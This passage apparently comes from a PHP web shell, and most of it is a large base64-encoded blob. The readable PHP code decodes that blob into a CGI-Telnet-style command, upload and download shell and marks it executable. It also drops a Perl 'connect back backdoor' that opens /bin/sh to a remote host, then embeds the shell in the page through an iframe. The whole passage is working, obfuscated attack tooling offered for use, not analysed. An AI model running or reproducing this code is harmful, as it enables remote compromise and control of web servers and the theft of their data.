R0ZwYm5NZ1lTQnNhVzVySUhkb2FXTm9JR0ZzYkc5M2N5QjBhR1VnZFhObGNnMEtJeUIwYnlCa2IzZHViRzloWkNCMGFHVWcKYzNCbFkybG1hV1ZrSUdacGJHVXVJRlJvWlNCd1lXZGxJR0ZzYzI4Z1kyOXVkR0ZwYm5NZ1lTQmhkWFJ2TFhKbFpuSmxjMmdOQ2lNZwpabVZoZEhWeVpTQjBhR0YwSUhOMFlYSjBjeUIwYUdVZ1pHOTNibXh2WVdRZ1lYVjBiMjFoZEdsallXeHNlUzROQ2lNZ1FYSm5kVzFsCmJuUWdNVG9nUm5Wc2JIa2djWFZoYkdsbWFXVmtJR1pwYkdWdVlXMWxJRzltSUhSb1pTQm1hV3hsSUhSdklHSmxJR1J2ZDI1c2IyRmsKWldRTkNpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdApMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTME5Dbk4xWWlCUWNtbHVkRVJ2ZDI1c2IyRmtUR2x1YTFCaFoyVU5DbnNOCkNnbHNiMk5oYkNna1JtbHNaVlZ5YkNrZ1BTQkFYenNOQ2dscFppZ3RaU0FrUm1sc1pWVnliQ2tnSXlCcFppQjBhR1VnWm1sc1pTQmwKZUdsemRITU5DZ2w3RFFvSkNTTWdaVzVqYjJSbElIUm9aU0JtYVd4bElHeHBibXNnYzI4Z2QyVWdZMkZ1SUhObGJtUWdhWFFnZEc4ZwpkR2hsSUdKeWIzZHpaWElOQ2drSkpFWnBiR1ZWY213Z1BYNGdjeThvVzE1aExYcEJMVm93TFRsZEtTOG5KU2N1ZFc1d1lXTnJLQ0pJCktpSXNKREVwTDJWbk93MEtDUWtrUkc5M2JteHZZV1JNYVc1cklEMGdJaVJUWTNKcGNIUk1iMk5oZEdsdmJqOWhQV1J2ZDI1c2IyRmsKSm1ZOUpFWnBiR1ZWY213bWJ6MW5ieUk3RFFvSkNTUklkRzFzVFdWMFlVaGxZV1JsY2lBOUlDSThiV1YwWVNCSVZGUlFMVVZSVlVsVwpQVndpVW1WbWNtVnphRndpSUVOUFRsUkZUbFE5WENJeE95QlZVa3c5SkVSdmQyNXNiMkZrVEdsdWExd2lQaUk3RFFvSkNTWlFjbWx1CmRGQmhaMlZJWldGa1pYSW9JbU1pS1RzTkNna0pjSEpwYm5RZ1BEeEZUa1E3RFFvOFkyOWtaVDROQ2cwS1UyVnVaR2x1WnlCR2FXeGwKSUNSVWNtRnVjMlpsY2tacGJHVXVMaTQ4WW5JK0RRcEpaaUIwYUdVZ1pHOTNibXh2WVdRZ1pHOWxjeUJ1YjNRZ2MzUmhjblFnWVhWMApiMjFoZEdsallXeHNlU3dOQ2p4aElHaHlaV1k5SWlSRWIzZHViRzloWkV4cGJtc2lQa05zYVdOcklFaGxjbVU4TDJFK0xnMEtSVTVFCkRRb0pDU1pRY21sdWRFTnZiVzFoYm1STWFXNWxTVzV3ZFhSR2IzSnRPdzBLQ1FrbVVISnBiblJRWVdkbFJtOXZkR1Z5T3cwS0NYME4KQ2dsbGJITmxJQ01nWm1sc1pTQmtiMlZ6YmlkMElHVjRhWE4wRFFvSmV3MEtDUWttVUhKcGJuUlFZV2RsU0dWaFpHVnlLQ0ptSWlrNwpEUW9KQ1hCeWFXNTBJQ0pHWVdsc1pXUWdkRzhnWkc5M2JteHZZV1FnSkVacGJHVlZjbXc2SUNRaElqc05DZ2tKSmxCeWFXNTBSbWxzClpVUnZkMjVzYjJGa1JtOXliVHNOQ2drSkpsQnlhVzUwVUdGblpVWnZiM1JsY2pzTkNnbDlEUXA5RFFvTkNpTXRMUzB0TFMwdExTMHQKTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdApMUzB0TFMwdExTMHRMUzBOQ2lNZ1ZHaHBjeUJtZFc1amRHbHZiaUJ5WldGa2N5QjBhR1VnYzNCbFkybG1hV1ZrSUdacGJHVWdabkp2CmJTQjBhR1VnWkdsemF5QmhibVFnYzJWdVpITWdhWFFnZEc4Z2RHaGxEUW9qSUdKeWIzZHpaWElzSUhOdklIUm9ZWFFnYVhRZ1kyRnUKSUdKbElHUnZkMjVzYjJGa1pXUWdZbmtnZEdobElIVnpaWEl1RFFvaklFRnlaM1Z0Wlc1MElERTZJRVoxYkd4NUlIRjFZV3hwWm1sbApaQ0J3WVhSb2JtRnRaU0J2WmlCMGFHVWdabWxzWlNCMGJ5QmlaU0J6Wlc1MExnMEtJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0CkxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHQKTFEwS2MzVmlJRk5sYm1SR2FXeGxWRzlDY205M2MyVnlEUXA3RFFvSmJHOWpZV3dvSkZObGJtUkdhV3hsS1NBOUlFQmZPdzBLQ1dsbQpLRzl3Wlc0b1UwVk9SRVpKVEVVc0lDUlRaVzVrUm1sc1pTa3BJQ01nWm1sc1pTQnZjR1Z1WldRZ1ptOXlJSEpsWVdScGJtY05DZ2w3CkRRb0pDV2xtS0NSWGFXNU9WQ2tOQ2drSmV3MEtDUWtKWW1sdWJXOWtaU2hUUlU1RVJrbE1SU2s3RFFvSkNRbGlhVzV0YjJSbEtGTlUKUkU5VlZDazdEUW9KQ1gwTkNna0pKRVpwYkdWVGFYcGxJRDBnS0hOMFlYUW9KRk5sYm1SR2FXeGxLU2xiTjEwN0RRb0pDU2drUm1scwpaVzVoYldVZ1BTQWtVMlZ1WkVacGJHVXBJRDErSUNCdElTaGJYaTllWEZ4ZEtpa2tJVHNOQ2drSmNISnBiblFnSWtOdmJuUmxiblF0ClZIbHdaVG9nWVhCd2JHbGpZWFJwYjI0dmVDMTFibXR1YjNkdVhHNGlPdzBLQ1Fsd2NtbHVkQ0FpUTI5dWRHVnVkQzFNWlc1bmRHZzYKSUNSR2FXeGxVMmw2WlZ4dUlqc05DZ2tKY0hKcGJuUWdJa052Ym5SbGJuUXRSR2x6Y0c5emFYUnBiMjQ2SUdGMGRHRmphRzFsYm5RNwpJR1pwYkdWdVlXMWxQU1F4WEc1Y2JpSTdEUW9KQ1hCeWFXNTBJSGRvYVd4bEtEeFRSVTVFUmtsTVJUNHBPdzBLQ1FsamJHOXpaU2hUClJVNUVSa2xNUlNrN0RRb0pmUTBLQ1dWc2MyVWdJeUJtWVdsc1pXUWdkRzhnYjNCbGJpQm1hV3hsRFFvSmV3MEtDUWttVUhKcGJuUlEKWVdkbFNHVmhaR1Z5S0NKbUlpazdEUW9KQ1hCeWFXNTBJQ0pHWVdsc1pXUWdkRzhnWkc5M2JteHZZV1FnSkZObGJtUkdhV3hsT2lBawpJU0k3RFFvSkNTWlFjbWx1ZEVacGJHVkViM2R1Ykc5aFpFWnZjbTA3RFFvTkNna0pKbEJ5YVc1MFVHRm5aVVp2YjNSbGNqc05DZ2w5CkRRcDlEUW9OQ2cwS0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHQKTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExRMEtJeUJVYUdseklHWjFibU4wYVc5dUlHbHpJR05oYkd4bApaQ0IzYUdWdUlIUm9aU0IxYzJWeUlHUnZkMjVzYjJGa2N5QmhJR1pwYkdVdUlFbDBJR1JwYzNCc1lYbHpJR0VnYldWemMyRm5aUTBLCkl5QjBieUIwYUdVZ2RYTmxjaUJoYm1RZ2NISnZkbWxrWlhNZ1lTQnNhVzVySUhSb2NtOTFaMmdnZDJocFkyZ2dkR2hsSUdacGJHVWcKWTJGdUlHSmxJR1J2ZDI1c2IyRmtaV1F1RFFvaklGUm9hWE1nWm5WdVkzUnBiMjRnYVhNZ1lXeHpieUJqWVd4c1pXUWdkMmhsYmlCMAphR1VnZFhObGNpQmpiR2xqYTNNZ2IyNGdkR2hoZENCc2FXNXJMaUJKYmlCMGFHbHpJR05oYzJVc0RRb2pJSFJvWlNCbWFXeGxJR2x6CklISmxZV1FnWVc1a0lITmxiblFnZEc4Z2RHaGxJR0p5YjNkelpYSXVEUW9qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHQKTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0RFFwegpkV0lnUW1WbmFXNUViM2R1Ykc5aFpBMEtldzBLQ1NNZ1oyVjBJR1oxYkd4NUlIRjFZV3hwWm1sbFpDQndZWFJvSUc5bUlIUm9aU0JtCmFXeGxJSFJ2SUdKbElHUnZkMjVzYjJGa1pXUU5DZ2xwWmlnb0pGZHBiazVVSUNZZ0tDUlVjbUZ1YzJabGNrWnBiR1VnUFg0Z2JTOWUKWEZ4OFhpNDZMeWtwSUh3TkNna0pLQ0VrVjJsdVRsUWdKaUFvSkZSeVlXNXpabVZ5Um1sc1pTQTlmaUJ0TDE1Y0x5OHBLU2tnSXlCdwpZWFJvSUdseklHRmljMjlzZFhSbERRb0pldzBLQ1Fra1ZHRnlaMlYwUm1sc1pTQTlJQ1JVY21GdWMyWmxja1pwYkdVN0RRb0pmUTBLCkNXVnNjMlVnSXlCd1lYUm9JR2x6SUhKbGJHRjBhWFpsRFFvSmV3MEtDUWxqYUc5d0tDUlVZWEpuWlhSR2FXeGxLU0JwWmlna1ZHRnkKWjJWMFJtbHNaU0E5SUNSRGRYSnlaVzUwUkdseUtTQTlmaUJ0TDF0Y1hGd3ZYU1F2T3cwS0NRa2tWR0Z5WjJWMFJtbHNaU0F1UFNBawpVR0YwYUZObGNDNGtWSEpoYm5ObVpYSkdhV3hsT3cwS0NYME5DZzBLQ1dsbUtDUlBjSFJwYjI1eklHVnhJQ0puYnlJcElDTWdkMlVnCmFHRjJaU0IwYnlCelpXNWtJSFJvWlNCbWFXeGxEUW9KZXcwS0NRa21VMlZ1WkVacGJHVlViMEp5YjNkelpYSW9KRlJoY21kbGRFWnAKYkdVcE93MEtDWDBOQ2dsbGJITmxJQ01nZDJVZ2FHRjJaU0IwYnlCelpXNWtJRzl1YkhrZ2RHaGxJR3hwYm1zZ2NHRm5aUTBLQ1hzTgpDZ2tKSmxCeWFXNTBSRzkzYm14dllXUk1hVzVyVUdGblpTZ2tWR0Z5WjJWMFJtbHNaU2s3RFFvSmZRMEtmUTBLRFFvakxTMHRMUzB0CkxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHQKTFMwdExTMHRMUzB0TFMwdExTMHREUW9qSUZSb2FYTWdablZ1WTNScGIyNGdhWE1nWTJGc2JHVmtJSGRvWlc0Z2RHaGxJSFZ6WlhJZwpkMkZ1ZEhNZ2RHOGdkWEJzYjJGa0lHRWdabWxzWlM0Z1NXWWdkR2hsRFFvaklHWnBiR1VnYVhNZ2JtOTBJSE53WldOcFptbGxaQ3dnCmFYUWdaR2x6Y0d4aGVYTWdZU0JtYjNKdElHRnNiRzkzYVc1bklIUm9aU0IxYzJWeUlIUnZJSE53WldOcFpua2dZUTBLSXlCbWFXeGwKTENCdmRHaGxjbmRwYzJVZ2FYUWdjM1JoY25SeklIUm9aU0IxY0d4dllXUWdjSEp2WTJWemN5NE5DaU10TFMwdExTMHRMUzB0TFMwdApMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0CkxTMHRMUzB0TFMwTkNuTjFZaUJWY0d4dllXUkdhV3hsRFFwN0RRb0pJeUJwWmlCdWJ5Qm1hV3hsSUdseklITndaV05wWm1sbFpDd2cKY0hKcGJuUWdkR2hsSUhWd2JHOWhaQ0JtYjNKdElHRm5ZV2x1RFFvSmFXWW9KRlJ5WVc1elptVnlSbWxzWlNCbGNTQWlJaWtOQ2dsNwpEUW9KQ1NaUWNtbHVkRkJoWjJWSVpXRmtaWElvSW1ZaUtUc05DZ2tKSmxCeWFXNTBSbWxzWlZWd2JHOWhaRVp2Y20wN0RRb0pDU1pRCmNtbHVkRkJoWjJWR2IyOTBaWEk3RFFvSkNYSmxkSFZ5YmpzTkNnbDlEUW9KSmxCeWFXNTBVR0ZuWlVobFlXUmxjaWdpWXlJcE93MEsKRFFvSkl5QnpkR0Z5ZENCMGFHVWdkWEJzYjJGa2FXNW5JSEJ5YjJObGMzTU5DZ2x3Y21sdWRDQWlWWEJzYjJGa2FXNW5JQ1JVY21GdQpjMlpsY2tacGJHVWdkRzhnSkVOMWNuSmxiblJFYVhJdUxpNDhZbkkrSWpzTkNnMEtDU01nWjJWMElIUm9aU0JtZFd4c2JIa2djWFZoCmJHbG1hV1ZrSUhCaGRHaHVZVzFsSUc5bUlIUm9aU0JtYVd4bElIUnZJR0psSUdOeVpXRjBaV1FOQ2dsamFHOXdLQ1JVWVhKblpYUk8KWVcxbEtTQnBaaUFvSkZSaGNtZGxkRTVoYldVZ1BTQWtRM1Z5Y21WdWRFUnBjaWtnUFg0Z2JTOWJYRnhjTDEwa0x6c05DZ2trVkhKaApibk5tWlhKR2FXeGxJRDErSUcwaEtGdGVMMTVjWEYwcUtTUWhPdzBLQ1NSVVlYSm5aWFJPWVcxbElDNDlJQ1JRWVhSb1UyVndMaVF4Ck93MEtEUW9KSkZSaGNtZGxkRVpwYkdWVGFYcGxJRDBnYkdWdVozUm9LQ1JwYm5zblptbHNaV1JoZEdFbmZTazdEUW9KSXlCcFppQjAKYUdVZ1ptbHNaU0JsZUdsemRITWdZVzVrSUhkbElHRnlaU0J1YjNRZ2MzVndjRzl6WldRZ2RHOGdiM1psY25keWFYUmxJR2wwRFFvSgphV1lvTFdVZ0pGUmhjbWRsZEU1aGJXVWdKaVlnSkU5d2RHbHZibk1nYm1VZ0ltOTJaWEozY21sMFpTSXBEUW9KZXcwS0NRbHdjbWx1CmRDQWlSbUZwYkdWa09pQkVaWE4wYVc1aGRHbHZiaUJtYVd4bElHRnNjbVZoWkhrZ1pYaHBjM1J6TGp4aWNqNGlPdzBLQ1gwTkNnbGwKYkhObElDTWdabWxzWlNCcGN5QnViM1FnY0hKbGMyVnVkQTBLQ1hzTkNna0phV1lvYjNCbGJpaFZVRXhQUVVSR1NVeEZMQ0FpUGlSVQpZWEpuWlhST1lXMWxJaWtwRFFvSkNYc05DZ2tKQ1dKcGJtMXZaR1VvVlZCTVQwRkVSa2xNUlNrZ2FXWWdKRmRwYms1VU93MEtDUWtKCmNISnBiblFnVlZCTVQwRkVSa2xNUlNBa2FXNTdKMlpwYkdWa1lYUmhKMzA3RFFvSkNRbGpiRzl6WlNoVlVFeFBRVVJHU1V4RktUc04KQ2drSkNYQnlhVzUwSUNKVWNtRnVjMlpsY21Wa0lDUlVZWEpuWlhSR2FXeGxVMmw2WlNCQ2VYUmxjeTQ4WW5JK0lqc05DZ2tKQ1hCeQphVzUwSUNKR2FXeGxJRkJoZEdnNklDUlVZWEpuWlhST1lXMWxQR0p5UGlJN0RRb0pDWDBOQ2drSlpXeHpaUTBLQ1FsN0RRb0pDUWx3CmNtbHVkQ0FpUm1GcGJHVmtPaUFrSVR4aWNqNGlPdzBLQ1FsOURRb0pmUTBLQ1hCeWFXNTBJQ0lpT3cwS0NTWlFjbWx1ZEVOdmJXMWgKYm1STWFXNWxTVzV3ZFhSR2IzSnRPdzBLRFFvSkpsQnlhVzUwVUdGblpVWnZiM1JsY2pzTkNuME5DZzBLSXkwdExTMHRMUzB0TFMwdApMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0CkxTMHRMUzB0TFMwdExRMEtJeUJVYUdseklHWjFibU4wYVc5dUlHbHpJR05oYkd4bFpDQjNhR1Z1SUhSb1pTQjFjMlZ5SUhkaGJuUnoKSUhSdklHUnZkMjVzYjJGa0lHRWdabWxzWlM0Z1NXWWdkR2hsRFFvaklHWnBiR1Z1WVcxbElHbHpJRzV2ZENCemNHVmphV1pwWldRcwpJR2wwSUdScGMzQnNZWGx6SUdFZ1ptOXliU0JoYkd4dmQybHVaeUIwYUdVZ2RYTmxjaUIwYnlCemNHVmphV1o1SUdFTkNpTWdabWxzClpTd2diM1JvWlhKM2FYTmxJR2wwSUdScGMzQnNZWGx6SUdFZ2JXVnpjMkZuWlNCMGJ5QjBhR1VnZFhObGNpQmhibVFnY0hKdmRtbGsKWlhNZ1lTQnNhVzVyRFFvaklIUm9jbTkxWjJnZ0lIZG9hV05vSUhSb1pTQm1hV3hsSUdOaGJpQmlaU0JrYjNkdWJHOWhaR1ZrTGcwSwpJeTB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0CkxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUTBLYzNWaUlFUnZkMjVzYjJGa1JtbHNaUTBLZXcwS0NTTWdhV1lnYm04Z1ptbHMKWlNCcGN5QnpjR1ZqYVdacFpXUXNJSEJ5YVc1MElIUm9aU0JrYjNkdWJHOWhaQ0JtYjNKdElHRm5ZV2x1RFFvSmFXWW9KRlJ5WVc1egpabVZ5Um1sc1pTQmxjU0FpSWlrTkNnbDdEUW9KQ1NaUWNtbHVkRkJoWjJWSVpXRmtaWElvSW1ZaUtUc05DZ2tKSmxCeWFXNTBSbWxzClpVUnZkMjVzYjJGa1JtOXliVHNOQ2drSkpsQnlhVzUwVUdGblpVWnZiM1JsY2pzTkNna0pjbVYwZFhKdU93MEtDWDBOQ2drTkNna2oKSUdkbGRDQm1kV3hzZVNCeGRXRnNhV1pwWldRZ2NHRjBhQ0J2WmlCMGFHVWdabWxzWlNCMGJ5QmlaU0JrYjNkdWJHOWhaR1ZrRFFvSgphV1lvS0NSWGFXNU9WQ0FtSUNna1ZISmhibk5tWlhKR2FXeGxJRDErSUcwdlhseGNmRjR1T2k4cEtTQjhEUW9KQ1NnaEpGZHBiazVVCklDWWdLQ1JVY21GdWMyWmxja1pwYkdVZ1BYNGdiUzllWEM4dktTa3BJQ01nY0dGMGFDQnBjeUJoWW5OdmJIVjBaUTBLQ1hzTkNna0oKSkZSaGNtZGxkRVpwYkdVZ1BTQWtWSEpoYm5ObVpYSkdhV3hsT3cwS0NYME5DZ2xsYkhObElDTWdjR0YwYUNCcGN5QnlaV3hoZEdsMgpaUTBLQ1hzTkNna0pZMmh2Y0Nna1ZHRnlaMlYwUm1sc1pTa2dhV1lvSkZSaGNtZGxkRVpwYkdVZ1BTQWtRM1Z5Y21WdWRFUnBjaWtnClBYNGdiUzliWEZ4Y0wxMGtMenNOQ2drSkpGUmhjbWRsZEVacGJHVWdMajBnSkZCaGRHaFRaWEF1SkZSeVlXNXpabVZ5Um1sc1pUc04KQ2dsOURRb05DZ2xwWmlna1QzQjBhVzl1Y3lCbGNTQWlaMjhpS1NBaklIZGxJR2hoZG1VZ2RHOGdjMlZ1WkNCMGFHVWdabWxzWlEwSwpDWHNOQ2drSkpsTmxibVJHYVd4bFZHOUNjbTkzYzJWeUtDUlVZWEpuWlhSR2FXeGxLVHNOQ2dsOURRb0paV3h6WlNBaklIZGxJR2hoCmRtVWdkRzhnYzJWdVpDQnZibXg1SUhSb1pTQnNhVzVySUhCaFoyVU5DZ2w3RFFvSkNTWlFjbWx1ZEVSdmQyNXNiMkZrVEdsdWExQmgKWjJVb0pGUmhjbWRsZEVacGJHVXBPdzBLQ1gwTkNuME5DZzBLSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdApMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFEwS0l5Qk5ZV2x1CklGQnliMmR5WVcwZ0xTQkZlR1ZqZFhScGIyNGdVM1JoY25SeklFaGxjbVVOQ2lNdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHQKTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwTgpDaVpTWldGa1VHRnljMlU3RFFvbVIyVjBRMjl2YTJsbGN6c05DZzBLSkZOamNtbHdkRXh2WTJGMGFXOXVJRDBnSkVWT1Zuc25VME5TClNWQlVYMDVCVFVVbmZUc05DaVJUWlhKMlpYSk9ZVzFsSUQwZ0pFVk9WbnNuVTBWU1ZrVlNYMDVCVFVVbmZUc05DaVJNYjJkcGJsQmgKYzNOM2IzSmtJRDBnSkdsdWV5ZHdKMzA3RFFva1VuVnVRMjl0YldGdVpDQTlJQ1JwYm5zbll5ZDlPdzBLSkZSeVlXNXpabVZ5Um1scwpaU0E5SUNScGJuc25aaWQ5T3cwS0pFOXdkR2x2Ym5NZ1BTQWthVzU3SjI4bmZUc05DZzBLSkVGamRHbHZiaUE5SUNScGJuc25ZU2Q5Ck93MEtKRUZqZEdsdmJpQTlJQ0pzYjJkcGJpSWdhV1lvSkVGamRHbHZiaUJsY1NBaUlpazdJQ01nYm04Z1lXTjBhVzl1SUhOd1pXTnAKWm1sbFpDd2dkWE5sSUdSbFptRjFiSFFOQ2cwS0l5Qm5aWFFnZEdobElHUnBjbVZqZEc5eWVTQnBiaUIzYUdsamFDQjBhR1VnWTI5dApiV0Z1WkhNZ2QybHNiQ0JpWlNCbGVHVmpkWFJsWkEwS0pFTjFjbkpsYm5SRWFYSWdQU0FrYVc1N0oyUW5mVHNOQ21Ob2IzQW9KRU4xCmNuSmxiblJFYVhJZ1BTQmdKRU50WkZCM1pHQXBJR2xtS0NSRGRYSnlaVzUwUkdseUlHVnhJQ0lpS1RzTkNnMEtKRXh2WjJkbFpFbHUKSUQwZ0pFTnZiMnRwWlhON0oxTkJWa1ZFVUZkRUozMGdaWEVnSkZCaGMzTjNiM0prT3cwS0RRcHBaaWdrUVdOMGFXOXVJR1Z4SUNKcwpiMmRwYmlJZ2ZId2dJU1JNYjJkblpXUkpiaWtnSXlCMWMyVnlJRzVsWldSekwyaGhjeUIwYnlCc2IyZHBiZzBLZXcwS0NTWlFaWEptCmIzSnRURzluYVc0N0RRb05DbjBOQ21Wc2MybG1LQ1JCWTNScGIyNGdaWEVnSW1OdmJXMWhibVFpS1NBaklIVnpaWElnZDJGdWRITWcKZEc4Z2NuVnVJR0VnWTI5dGJXRnVaQTBLZXcwS0NTWkZlR1ZqZFhSbFEyOXRiV0Z1WkRzTkNuME5DbVZzYzJsbUtDUkJZM1JwYjI0ZwpaWEVnSW5Wd2JHOWhaQ0lwSUNNZ2RYTmxjaUIzWVc1MGN5QjBieUIxY0d4dllXUWdZU0JtYVd4bERRcDdEUW9KSmxWd2JHOWhaRVpwCmJHVTdEUXA5RFFwbGJITnBaaWdrUVdOMGFXOXVJR1Z4SUNKa2IzZHViRzloWkNJcElDTWdkWE5sY2lCM1lXNTBjeUIwYnlCa2IzZHUKYkc5aFpDQmhJR1pwYkdVTkNuc05DZ2ttUkc5M2JteHZZV1JHYVd4bE93MEtmUTBLWld4emFXWW9KRUZqZEdsdmJpQmxjU0FpYkc5bgpiM1YwSWlrZ0l5QjFjMlZ5SUhkaGJuUnpJSFJ2SUd4dloyOTFkQTBLZXcwS0NTWlFaWEptYjNKdFRHOW5iM1YwT3cwS2ZRPT0nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlID0gZm9wZW4oIml6by5jaW4iLCAidysiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkd3JpdGUgPSBmd3JpdGUoJGZpbGUsIGJhc2U2NF9kZWNvZGUoJGNnaXNoZWxsaXpvY2luKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRmaWxlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaG1vZCgiaXpvLmNpbiIsIDA3NTUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRuZXRjYXRzaGVsbCA9ICdJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2dJQ0FnSUNCMWMyVWdVMjlqYTJWME93MEtJQ0FnSUNBZ2NISnBiblFnSWtSaGRHRWdRMmhoCk1ITWdRMjl1Ym1WamRDQkNZV05ySUVKaFkydGtiMjl5WEc1Y2JpSTdEUW9nSUNBZ0lDQnBaaUFvSVNSQlVrZFdXekJkS1NCN0RRb2cKSUNBZ0lDQWdJSEJ5YVc1MFppQWlWWE5oWjJVNklDUXdJRnRJYjNOMFhTQThVRzl5ZEQ1Y2JpSTdEUW9nSUNBZ0lDQWdJR1Y0YVhRbwpNU2s3RFFvZ0lDQWdJQ0I5RFFvZ0lDQWdJQ0J3Y21sdWRDQWlXeXBkSUVSMWJYQnBibWNnUVhKbmRXMWxiblJ6WEc0aU93MEtJQ0FnCklDQWdKR2h2YzNRZ1BTQWtRVkpIVmxzd1hUc05DaUFnSUNBZ0lDUndiM0owSUQwZ09EQTdEUW9nSUNBZ0lDQnBaaUFvSkVGU1IxWmIKTVYwcElIc05DaUFnSUNBZ0lDQWdKSEJ2Y25RZ1BTQWtRVkpIVmxzeFhUc05DaUFnSUNBZ0lIME5DaUFnSUNBZ0lIQnlhVzUwSUNKYgpLbDBnUTI5dWJtVmpkR2x1Wnk0dUxseHVJanNOQ2lBZ0lDQWdJQ1J3Y205MGJ5QTlJR2RsZEhCeWIzUnZZbmx1WVcxbEtDZDBZM0FuCktTQjhmQ0JrYVdVb0lsVnVhMjV2ZDI0Z1VISnZkRzlqYjJ4Y2JpSXBPdzBLSUNBZ0lDQWdjMjlqYTJWMEtGTkZVbFpGVWl3Z1VFWmYKU1U1RlZDd2dVMDlEUzE5VFZGSkZRVTBzSUNSd2NtOTBieWtnZkh3Z1pHbGxJQ2dpVTI5amEyVjBJRVZ5Y205eVhHNGlLVHNOQ2lBZwpJQ0FnSUcxNUlDUjBZWEpuWlhRZ1BTQnBibVYwWDJGMGIyNG9KR2h2YzNRcE93MEtJQ0FnSUNBZ2FXWWdLQ0ZqYjI1dVpXTjBLRk5GClVsWkZVaXdnY0dGamF5QWlVMjVCTkhnNElpd2dNaXdnSkhCdmNuUXNJQ1IwWVhKblpYUXBLU0I3RFFvZ0lDQWdJQ0FnSUdScFpTZ2kKVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1JjYmlJcE93MEtJQ0FnSUNBZ2ZRMEtJQ0FnSUNBZ2NISnBiblFnSWxzcVhTQlRjR0YzYm1sdQpaeUJUYUdWc2JGeHVJanNOQ2lBZ0lDQWdJR2xtSUNnaFptOXlheWdnS1NrZ2V3MEtJQ0FnSUNBZ0lDQnZjR1Z1S0ZOVVJFbE9MQ0krCkpsTkZVbFpGVWlJcE93MEtJQ0FnSUNBZ0lDQnZjR1Z1S0ZOVVJFOVZWQ3dpUGlaVFJWSldSVklpS1RzTkNpQWdJQ0FnSUNBZ2IzQmwKYmloVFZFUkZVbElzSWo0bVUwVlNWa1ZTSWlrN0RRb2dJQ0FnSUNBZ0lHVjRaV01nZXljdlltbHVMM05vSjMwZ0p5MWlZWE5vSnlBdQpJQ0pjTUNJZ2VDQTBPdzBLSUNBZ0lDQWdJQ0JsZUdsMEtEQXBPdzBLSUNBZ0lDQWdmUTBLSUNBZ0lDQWdjSEpwYm5RZ0lsc3FYU0JFCllYUmhZMmhsWkZ4dVhHNGlPdz09JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZSA9IGZvcGVuKCJkYy5wbCIsICJ3KyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3cml0ZSA9IGZ3cml0ZSgkZmlsZSwgYmFzZTY0X2RlY29kZSgkbmV0Y2F0c2hlbGwpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGZpbGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNobW9kKCJkYy5wbCIsIDA3NTUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxpZnJhbWUgc3JjPWNnaXRlbG5ldDEvaXpvLmNpbiB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC9kaXY+J